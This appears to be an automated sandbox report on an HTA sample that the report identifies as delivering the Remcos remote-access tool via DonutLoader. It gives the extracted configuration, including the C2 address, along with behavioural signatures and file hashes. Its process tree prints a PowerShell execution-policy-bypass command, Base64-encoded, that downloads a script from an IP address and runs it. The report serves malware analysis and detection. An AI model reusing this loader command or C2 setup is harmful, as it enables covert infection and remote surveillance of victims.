Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/11/2026, 00:23

General

  • Target
    givingbestthings.hta
  • Size 15KB
  • Sample261111-apfevasz3l
  • SHA256 0a772027c61cef6a5402577307e898ceba7405911bf1a2fe57707be9bb30230e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • 15thtry1564

C2
  • 141.98.10.188:2409

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-HRX1LH

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects DonutLoader 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\givingbestthings.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWershELl.Exe -eX BYPass -NOP -w 1 -eC IAAJAAkAIAAgACAAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIABXAEcARQB0ACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADQALgAzADQALgAxADQANQAvADEANQAvAHMAdwBpAHMAcwBtAGUALgBqAHMAHSAgAC0AbwBVAFQARgBpAGwARQAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAFYAOgBwAHUAQgBMAEkAQwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkAOwAgACAACQAJACAAIAAJACAACQAJACYAIAAJACAACQAgACAACQAJAAkAIAAdICQAZQBuAFYAOgBQAHUAQgBMAGkAYwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0g "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5876
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWershELl.Exe -eX BYPass -NOP -w 1 -eC IAAJAAkAIAAgACAAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIABXAEcARQB0ACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADQALgAzADQALgAxADQANQAvADEANQAvAHMAdwBpAHMAcwBtAGUALgBqAHMAHSAgAC0AbwBVAFQARgBpAGwARQAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAFYAOgBwAHUAQgBMAEkAQwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkAOwAgACAACQAJACAAIAAJACAACQAJACYAIAAJACAACQAgACAACQAJAAkAIAAdICQAZQBuAFYAOgBQAHUAQgBMAGkAYwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0g "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\swissnets.js"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4016
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Public\swissnets.js:Zone.Identifier"
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • NTFS ADS
            PID:3324
          • C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe
            "C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe" C:\Users\Admin\Documents\GRHCQWSEWAGILWNT
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            PID:3528

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_qdkbxuw3.lri.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qdkbxuw3.lri.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        GRHCQWSEWAGILWNT

        • Path C:\Users\Admin\Documents\GRHCQWSEWAGILWNT
        • Size 1.1MB
        • SHA256 7c70aa696d0de3e35b0e793fe33c4576cbae43599459645c97146efe85e3fc26
        • MD5 SHA1 SHA512 SSDEEP TLSH

        TNWLIGAWESWQCHRG.exe

        • Path C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe
        • Size 27KB
        • SHA256 70916418ff0b6c2a12e8897ff622bdbb115435d38f0afe3ea981de1e7652ebb4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lua51.dll

        • Path C:\Users\Admin\Documents\lua51.dll
        • Size 439KB
        • SHA256 2f52407927015a8bf4a2a6765ccb599bc438c9a19e1d4a5dda1f5292a0c0e50a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        swissnets.js

        • Path C:\Users\Public\swissnets.js
        • Size 4.8MB
        • SHA256 e7c8f512c9305b3e0d0cc0aa673de63d5f1cdb8a3fa25bf739a4395c259cde9e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3528-55-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-83-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-58-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-91-0x0000000066D80000-0x0000000066DF4000-memory.dmp

        memory/3528-90-0x0000000000400000-0x000000000040D000-memory.dmp

        memory/3528-88-0x0000000002460000-0x0000000003460000-memory.dmp

        memory/3528-89-0x0000000014490000-0x000000001453F000-memory.dmp

        memory/3528-68-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-84-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-62-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-63-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-64-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-66-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-67-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-41-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-40-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-42-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-43-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-45-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-48-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-47-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-52-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-51-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-50-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-49-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-46-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-44-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-57-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-56-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-65-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-54-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-53-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-69-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-60-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-70-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-61-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-71-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-87-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-86-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-85-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-80-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-59-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-82-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-81-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-76-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-79-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-78-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-77-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-75-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-74-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-73-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/3528-72-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/5032-18-0x0000000006DF0000-0x0000000006E0A000-memory.dmp

        memory/5032-15-0x00000000068B0000-0x00000000068CE000-memory.dmp

        memory/5032-0-0x00000000054B0000-0x00000000054C0000-memory.dmp

        memory/5032-1-0x00000000032E0000-0x0000000003316000-memory.dmp

        memory/5032-2-0x00000000054B0000-0x00000000054C0000-memory.dmp

        memory/5032-5-0x0000000005A80000-0x0000000005AE6000-memory.dmp

        memory/5032-19-0x00000000054B0000-0x00000000054C0000-memory.dmp

        memory/5032-20-0x00000000054B0000-0x00000000054C0000-memory.dmp

        memory/5032-6-0x0000000006220000-0x0000000006286000-memory.dmp

        memory/5032-4-0x00000000058E0000-0x0000000005902000-memory.dmp

        memory/5032-17-0x0000000007EF0000-0x000000000856A000-memory.dmp

        memory/5032-16-0x0000000006950000-0x000000000699C000-memory.dmp

        memory/5032-3-0x0000000005AF0000-0x0000000006118000-memory.dmp

        memory/5032-14-0x0000000006390000-0x00000000066E4000-memory.dmp